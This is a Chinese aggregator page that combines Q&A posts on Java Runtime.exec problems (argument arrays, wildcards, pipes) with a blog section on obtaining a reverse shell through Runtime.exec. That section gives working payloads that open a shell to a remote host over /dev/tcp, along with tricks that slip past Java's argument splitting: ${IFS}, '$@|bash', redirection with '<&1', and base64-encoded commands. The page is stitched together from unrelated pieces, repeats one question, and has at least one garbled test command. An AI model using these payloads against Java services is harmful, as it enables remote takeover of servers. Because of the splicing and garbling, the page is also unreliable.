最近很多小伙伴都在问Runtime.exec未运行“查找”命令和runspec未找到命令这两个问题,那么本篇文章就来给大家详细解答一下,同时本文还将给你拓展javaRuntime.getRuntime
最近很多小伙伴都在问Runtime.exec未运行“查找”命令和runspec未找到命令这两个问题,那么本篇文章就来给大家详细解答一下,同时本文还将给你拓展java Runtime.getRuntime().exec 获取反弹shell、java Runtime.getRunTime()exec和通配符?、Java Runtime.getRunTime()exec(CMD)不支持pipe道、java Runtime.getRunTime()。exec和通配符?等相关知识,下面开始了哦!
本文目录一览:- Runtime.exec未运行“查找”命令(runspec未找到命令)
- java Runtime.getRuntime().exec 获取反弹shell
- java Runtime.getRunTime()exec和通配符?
- Java Runtime.getRunTime()exec(CMD)不支持pipe道
- java Runtime.getRunTime()。exec和通配符?
Runtime.exec未运行“查找”命令(runspec未找到命令)
我的问题是,我正在使用Runtime.getruntime.exec()函数在Java上运行我的Unix命令。但是,在运行exec()命令时,它会跳到代码末尾。代码如下。
Process songProcess; ArrayList<String> xmlFilePathsForEmi = new ArrayList<String>(); int countForEmiSongUpdates = 0; String line; try { songProcess = Runtime.getRuntime().exec(new String[]{"find /home/gozenem/emiornek/ -name ''*.xml''"}); // It jumps here ! songProcess.waitFor(); bufferedReaderSong = new BufferedReader(new InputStreamReader(songProcess.getInputStream())); while((line = bufferedReaderSong.readLine()) != null){ xmlFilePathsForEmi.add(line); }.........}
我不知道它与什么有关,可能是exec函数无法运行的一个字符。我需要您的宝贵帮助。谢谢。
答案1
小编典典您输入的String[]
参数Runtime.exec()
不正确。必须对其进行拆分,以便每个项目包含一个元素(可执行文件必须是一个字符串,然后每个单独的参数都必须包含在其自己的字符串中)。
尝试类似的方法:
songProcess = Runtime.getRuntime().exec(new String[]{"find", "/home/gozenem/emiornek/", "-name", "*.xml"});
也waitFor
不要打电话给您在做什么。您需要在进程运行时读取输出,否则就有可能填满Java VM和您的进程之间使用的I /
O缓冲区的风险。因此,waitFor
在处理完输出后将其移动到。
从流程文档中:
默认情况下,创建的子进程没有自己的终端或控制台。它的所有标准I /
O(即stdin,stdout,stderr)操作都将重定向到父进程。由于某些本机平台仅为标准输入和输出流提供有限的缓冲区大小,因此
未能及时写入子流程的输入流或读取子流程的输出流可能导致子流程阻塞甚至死锁 。
java Runtime.getRuntime().exec 获取反弹shell
说明
前面写了一篇在Java环境下获取shell的文章。当时使用的语句是:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/TCP/IP/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
其中在exec()
中我们是传入了多个参数,可是如果实际的环境是Runtime.getRuntime().exec(String cmd)
只能允许我们传入一个参数,又该如何getshell呢?
exec分析
我们分析一下Runtime
中的exec()
函数:
在java.lang.Runtime()
中存在多个重载的exec()
方法,如下所示:
public Process exec(String command)
public Process exec(String command,String[] envp)
public Process exec(String command,String[] envp,File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray,String[] envp)
public Process exec(String[] cmdarray,File dir)
除了常见的exec(String command)
和exec(String cmdarray[])
,其他exec()
都增加了envp
和File
这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])
和exec(String command)
:
// exec(String command) 函数
public Process exec(String command) throws IOException {
return exec(command,null,null);
}
...
public Process exec(String command,File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoretokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray,envp,dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray,null);
}
可以看到exec(String cmdarray[])
和exec(String command)
最终都是调用的exec(cmdarray,null)
。exec(String command)
通过StringTokenizer st = new StringTokenizer(command);
将其分割为Token之后作为字符串数组,调用exec(cmdarray,null)
。
分析StringTokenizer(String str)
:
public StringTokenizer(String str) {
this(str," \t\n\r\f",false);
}
将字一个字符串使用\t\n\r\f
这些字符进行分割。尝试:
String testStr = "a b\tc\nd\re\fg";
StringTokenizer st = new StringTokenizer(testStr);
for (int i = 0; st.hasMoretokens(); i++)
System.out.println(st.nextToken());
输出结果:
a
b
c
d
e
g
bypass exec
如果直接尝试执行
Runtime.getRuntime().exec("bash -i >& /dev/TCP/IP/port 0>&1");
那么最终执行到exec(cmdarray,dir);
时,cmdarray
的参数结果是:
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/TCP/IP/port | 0>&1
而我们执行r.exec(new String[]{"/bin/bash","bash -i >& /dev/TCP/IP/port 0>&1"});
,执行到exec(cmdarray,dir);
时,cmdarray
的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/TCP/IP/port 0>&1
其最终的结果就是Runtime.getRuntime().exec("bash -i >& /dev/TCP/IP/port 0>&1");
没有任何的反应,但是r.exec(new String[]{"/bin/bash","bash -i >& /dev/TCP/IP/port 0>&1"});
可以成功地反弹shell。
那么现在的问题就转换成为能否找到一个替换字符,使其通过StringTokenizer(String str)
不进行分割,但是又被/bin/bash
能够正确地识别为空格的字符。
IFS
在Linux环境中,${IFS}
是一个内置的变量,用于标示命令中参数的分隔符。通常他的取值是空格+TAB+换行(0x20 0x09 0x0a)。尝试:
$ echo "abc" | hexdump -C
00000000 61 62 63 0a |abc.|
00000004
$ echo "a${IFS}b${IFS}c"|hexdump -C
00000000 61 20 09 0a 62 20 09 0a 63 0a |a ..b ..c.|
0000000a
结果就显示出了${IFS}
其实就是0x20 0x09 0x0a
。尝试利用${IFS}
,于是我们的代码变成了:
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/TCP/IP/port${IFS}0>&1");
发现执行完毕之后出现了/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect
错误。发现当执行到时java.lang.Runtime:Process exec(String command,File dir)
,信息如下:
那么就说明利用${IFS}
执行/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/TCP/IP/port${IFS}0>&1
确实能够绕过Java的分隔符。我们直接在bash中尝试:
spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect
同样会出现ambiguous redirect
的错误,如果尝试将/dev/tcp/127.0.0.1/8888${IFS}0>&1
替换为/dev/tcp/127.0.0.1/8888$ 0>&1
,即/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
就能够成功地进行反弹shell了。使用zsh
进行尝试/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
,同样会出现ambiguous redirect
那么就是说明可能上述的写法不符合shell
的语法。
最终进行测试,在/bin/bash -c bash>x${IFS}0
就会出现ambiguous redirect
问题,猜测可能是x${IFS}0
才会出现这样的问题,至于为什么会出现的这样的问题,希望有大牛能够帮忙解答一下。
所以如果使用/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
就一定不行了吗?我们目前已经知道/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1
是可以反弹shell的,那么问题的关键就是在这种/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
情况下的${IFS}
绕过。我们查看bash
中有什么语法可供我们使用。
bash manpage
Duplicating File Descriptors
The redirection operator
[n]<&word
is used to duplicate input file descriptors. If word expands to one or more digits,the file descriptor denoted by n is made to be a copy of that file descriptor. If the digits in word do
not specify a file descriptor open for input,a redirection error occurs. If word evaluates to -,file descriptor n is closed. If n is not specified,the standard input (file descriptor 0)
is used.
The operator
[n]>&word
is used similarly to duplicate output file descriptors. If n is not specified,the standard output (file descriptor 1) is used. If the digits in word do not specify a file descriptor open
for output,a redirection error occurs. If word evaluates to -,file descriptor n is closed. As a special case,if n is omitted,and word does not expand to one or more digits or -,the
standard output and standard error are redirected as described prevIoUsly.
对于[n]<&word
,发现有If n is not specified,the standard input (file descriptor 0) is used
,貌似就可以解决我们的问题。那么我们可以改写为:
/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1
可以完美实现反弹shell,查看其fd信息如下:
spoock@ubuntu:~/Desktop$ ls -all /proc/10434/fd
total 0
dr-x------ 2 spoock spoock 0 Nov 25 06:44 .
dr-xr-xr-x 9 spoock spoock 0 Nov 25 06:44 ..
lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]
lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]
文件描述符0,1,2都指向了socket。既然这种可以,我们尝试利用Java进行反弹shell,
Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");
也能够执行反弹shell。
$@
发现在linux
中还存在$@
和$*
,他们的含义都是list of all arguments passed to the script
。进行一个简单的实验:ifsargs.sh
#!/bin/bash
# ifsargs.sh - Cmd args - positional parameter demo
echo "Command-Line Arguments Demo"
echo "*** All args displayed using \$@ positional parameter ***"
echo $@
echo "*** All args displayed using \$* positional parameter ***"
echo $*
运行得到的结果是:
spoock@ubuntu:~/Desktop$ ./ifsargs.sh foo bar test
Command-Line Arguments Demo
*** All args displayed using $@ positional parameter ***
foo bar test
*** All args displayed using $* positional parameter ***
foo bar test
那么我们就可以利用来反弹shell了。看bash
语法:
bash [options] [command_string | file]
-c If the -c option is present,then commands are read from the first non-option argument command_string.If there are arguments after the command_string,they are assigned to the positional parameters,starting with $0.
结合bash
和$@
,我们可以变为:
/bin/sh -c '$@|sh' xxx echo ls
可以成功地执行ls
。分析下这个命令,当bash
解析到'$@|sh' xxx echo ls
,发现$@
。$@
需要取脚本的参数,那么就会解析xxx echo ls
,由于$@
只会取脚本参数,会将第一个参数认为是脚本名称(认为xxx
是脚本名称),就会取到echo ls
。那么最终执行的就是echo ls|sh
,就可以成功地执行ls
命令了。
利用上面这个trick
,那么我们就可以执行任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/TCP/IP/port 0>&1'
最终可以成功地反弹shell。我们利用Java进行测试:
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");
最终在JAVA
中的数组的结果如下:
最终相当于执行了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash
命令,成功反弹shell。同样地,/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
也是可以的。
base64 decode
java.lang.Runtime.exec() Payload Workarounds对payload进行base64
编码从而绕过exec()
。bash -i >&/dev/tcp/127.0.0.1/8888 0>&1
经过转换变为bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
。测试:
Runtime.getRuntime().exec("bash -c {echo,-i}");
成功执行反弹shell。
java Runtime.getRunTime()exec和通配符?
我正在尝试通过使用删除垃圾文件
Process p = Runtime.getRuntime().exec();
只要我不使用通配符,它就可以正常工作,即,这有效:
Process p = Runtime.getRuntime().exec("/bin/rm -f specificJunkFile.java");
而以下内容返回“没有此类文件或目录”:
Process p = Runtime.getRuntime().exec("/bin/rm -f *.java");
我应该能够做到这里概述的所有美好的事情,对吗?
Java Runtime.getRunTime()exec(CMD)不支持pipe道
我试图编写一个程序,将显示并能够使用JFrame窗口更新您的IP地址设置。 我正在看纯粹在Windows上运行,所以我试图能够使用netsh Windows命令来检索/设置的细节。
windows命令: netsh interface ip show config name="Local Area Connection" | Find "IP" netsh interface ip show config name="Local Area Connection" | Find "IP"返回正是我想要的,但是我写的代码不会通过pipe道工作,它只会在我写入“本地连接”部分时才起作用。
有什么方法可以使用pipe道function来只返回IP地址? 我读过,你可以传递行作为string数组,即string[] cmd = netsh ……..
package ipchanger; import java.io.BufferedReader; import java.io.InputStreamReader; public class test { private String CMD; public void executecommand(String CMD) { this.CMD = CMD; try { // Run whatever string we pass in as the command Process process = Runtime.getRuntime().exec(CMD); // Get input streams BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); // Read command standard output String s; System.out.println("Standard output: "); while ((s = stdInput.readLine()) != null) { System.out.println(s); } // Read command errors System.out.println("Standard error: "); while ((s = stdError.readLine()) != null) { System.out.println(s); } } catch (Exception e) { e.printstacktrace(System.err); } } public test() { String FINDIP = "netsh interface ip show config name="Local Area Connection" | Find "IP""; //System.out.println(FINDIP); executecommand(FINDIP); } public static void main(String[] args) { new test(); } }
以为你们可以帮忙。
如何使用terminal复制文件夹中的特定文件
有没有人知道android中的“top”命令的结果?
如何将java -jar错误输出到文本/日志文件?
linux命令产生Python OSError:没有这样的文件或目录
使用C ++执行CMD命令
如何使“du”命令运行而不输出所有目录,如安静模式?
拉链瘪了0%? 为什么不压缩?
如何使用bash获取string中的函数内容?
如何执行()在for循环? 在C
Linuxterminal:更改目录时运行命令
幸运的是,有一种方法可以运行包含管道的命令。 该命令必须以cmd /C作为前缀。 例如:
public static void main(String[] args) throws Exception { String command = "cmd /C netstat -ano | find "3306""; Process process = Runtime.getRuntime().exec(command); process.waitFor(); if (process.exitValue() == 0) { Scanner sc = new Scanner(process.getInputStream(),"IBM850"); sc.useDelimiter("\A"); if (sc.hasNext()) { System.out.print(sc.next()); } sc.close(); } else { Scanner sc = new Scanner(process.getErrorStream(),"IBM850"); sc.useDelimiter("\A"); if (sc.hasNext()) { System.err.print(sc.next()); } sc.close(); } process.destroy(); }
笔记
Windows的控制台使用IBM850编码。 请参阅java控制台输出的默认字符编码 。
看到愚蠢的扫描仪技巧… for useDelimiter("\A") 。
java Runtime.getRunTime()。exec和通配符?
我正在尝试通过使用删除垃圾文件
Process p = Runtime.getRuntime().exec();
只要我不使用通配符,它就可以正常工作,即,这有效:
Process p = Runtime.getRuntime().exec("/bin/rm -f specificJunkFile.java");
而以下内容返回“没有此类文件或目录”:
Process p = Runtime.getRuntime().exec("/bin/rm -f *.java");
我应该能够做到这里概述的所有美好的事情,对吗?
答案1
小编典典我可能建议您让Java为您执行此操作?
- 使用file.listFiles()获取文件列表
- 如果需要,使用file.getName()。contains(string)对其进行过滤
- 遍历执行file.delete()的数组
优点:改进的可移植性,节省了exec()的成本
关于Runtime.exec未运行“查找”命令和runspec未找到命令的问题我们已经讲解完毕,感谢您的阅读,如果还想了解更多关于java Runtime.getRuntime().exec 获取反弹shell、java Runtime.getRunTime()exec和通配符?、Java Runtime.getRunTime()exec(CMD)不支持pipe道、java Runtime.getRunTime()。exec和通配符?等相关内容,可以在本站寻找。
本文标签: